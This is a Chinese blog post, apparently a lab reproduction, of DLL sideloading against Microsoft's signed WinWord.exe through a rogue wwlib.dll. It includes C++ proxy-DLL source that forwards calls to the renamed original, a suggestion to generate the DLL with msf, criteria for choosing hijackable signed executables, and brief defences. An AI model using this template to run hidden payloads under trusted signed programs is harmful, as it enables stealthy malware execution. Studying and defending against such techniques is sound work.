白加黑wwlib.dll复现
起因
今日看到某分析文章,利用word的wwlib.dll实现白加黑。虽然这个操作很早就有了,翻了一下笔记发现没有测过,实验一波并做测试
白加黑概念
白exe,黑dll
所谓白exe指拥有数字签名的exe,数字签名也分三六九等。大厂的签名一般都很不错,WinWord.exe的数字签名即为微软的数字签名
实验过程
将WinWord.exe拖入IDA分析,追踪LoadLibraryW函数可以看到有几个调用
个人测试
(由于IDA不在虚拟机,直接把winword拖出到物理机看,和文章所测试的并不相同)
IDA不行的话
作者给出的其他的方法:
如果无法使用IDA静态分析我们可以使用API监控软件来观察,如火绒剑或API Monitor,当然也可以使用OD下断点来分析。(这里和使用IDA没什么区别,不同的PE文件用不同的方式来达到最好的效果)
OD断点LolibraryW,可以发现加载的wwlib.dll和其调用wwlib.dll内的函数
目前所知道的内容:
* 加载的wwlib.dll
* 调用Fmain函数
* 调用wdCommandDispatch函数
* 调用wdGetApplicationObject函数
利用手段:
* vs自己写dll,实现调用的三个函数
* msf直接生成个dll,在dllmain函数直接实现劫持
wwlib.dll导出函数
其实wwlib.dll可以拖入到IDA分析导出函数,然后在编写。由于这里测试的时候出现了点问题,直接拿文章给出的图按着构造即可
#include "stdafx.h"
#include <iostream>
#include <Windows.h>
extern "C" __declspec(dllexport) int FMain(int a, int b, int c, int d);
extern "C" __declspec(dllexport) void wdCommandDispatch();
extern "C" __declspec(dllexport) void wdGetApplicationObject();
//extern "C" __declspec(dllexport) void DllCanUnloadNow(); //确定是否正在使用实现此功能的DLL。如果不是,则调用者可以从内存中卸载DLL。,不能重新定义
//extern "C" __declspec(dllexport) void DllGetClassObject();
//extern "C" __declspec(dllexport) void DllGetLCID();
int FMain(int a,int b,int c,int d) {
MessageBoxA(0, "test", "test", MB_OK);
exit(0);
return 1;
}
void wdCommandDispatch() {
}
void wdGetApplicationObject() {
}
BOOL APIENTRY DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved) // reserved
{
// Perform actions based on the reason for calling.
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}
x86生成dll,替换掉原来的wwlib.dll即可看到定义的弹框
注意事项:
写好对应要劫持的dll函数生成后,注意原来dll的位数。不要原本是x86生成个x64,那铁定跑不了。(tm我在这踩了一个小时的坑,xswzj)
dllmain函数处劫持(在DllMain中DLL_PROCESS_ATTACH选项下(每次加载DLL首先执行的地方))
实现劫持dll并使得winword正常运行,像上面粗暴的方法去定义dll函数。然后等着exe去执行,返回预期不一致的话导致exe无法正常运行退出。使得恢复exe正常运行最简单的方法就是把原来的dll改名,然后在调用处调用dll的函数(仅限于可以看见调用的导出函数)
#include "stdafx.h"
#include <iostream>
#include <Windows.h>
extern "C" __declspec(dllexport) int FMain(int a, int b, int c, int d);
extern "C" __declspec(dllexport) void wdCommandDispatch();
extern "C" __declspec(dllexport) void wdGetApplicationObject();
//extern "C" __declspec(dllexport) void DllCanUnloadNow(); //确定是否正在使用实现此功能的DLL。如果不是,则调用者可以从内存中卸载DLL。,不能重新定义
//extern "C" __declspec(dllexport) void DllGetClassObject();
//extern "C" __declspec(dllexport) void DllGetLCID();
typedef int(*run)(int a,int b,int c,int d);
int FMain(int a,int b,int c,int d) {
MessageBoxA(0, "test", "test", MB_OK);
HMODULE v1 = LoadLibraryA("WWLIBS.DLL");
run v2 = (run)GetProcAddress(v1,"FMain");
return v2(a,b,c,d);
}
void wdCommandDispatch() {
}
void wdGetApplicationObject() {
}
BOOL APIENTRY DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved) // reserved
{
// Perform actions based on the reason for calling.
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}
效果如下
文章中重点:
如何发现存在DLL劫持漏洞的新可执行文件
其实网络世界中存在大把存在DLL劫持漏洞的应用程序,那么我们该如何选择对应的可执行文件呢?
1.独立的EXE文件来调用恶意DLL。(独立EXE必须为合法的白文件)
2.独立的EXE文件必须具有数字签名,并且该数字证书不会在短期内过期。
3.数字签名最好包括微软的数字签名。
4.独立的EXE必须使用Load来加载DLL且没有验证DLL。
防御与总结
首先对该类型的攻击有以下几个比较好的方法去防御。
1.可以检查网络连接异常的进程:首先我们可以将正常的网络通信进程链进行记录,当发现该进程的网络活动与记录的进程链不符时,则可能受到了DLL劫持攻击。
2.在加载DLL时,先将文件读入内存中验证其数字签名或是哈希值,发现不匹配则不加载该DLL。
3.当然Microsoft提供了一些关于DLL安全性和针对DLL劫持漏洞的相关文档。
参考链接:https://www.freebuf.com/articles/system/227824.html
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:白加黑wwlib.dll复现
本文作者:九世
发布时间:2020-12-04, 14:39:36
最后更新:2020-12-04, 14:50:39
原始链接:http://jiushill.github.io/posts/7b49de5f.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。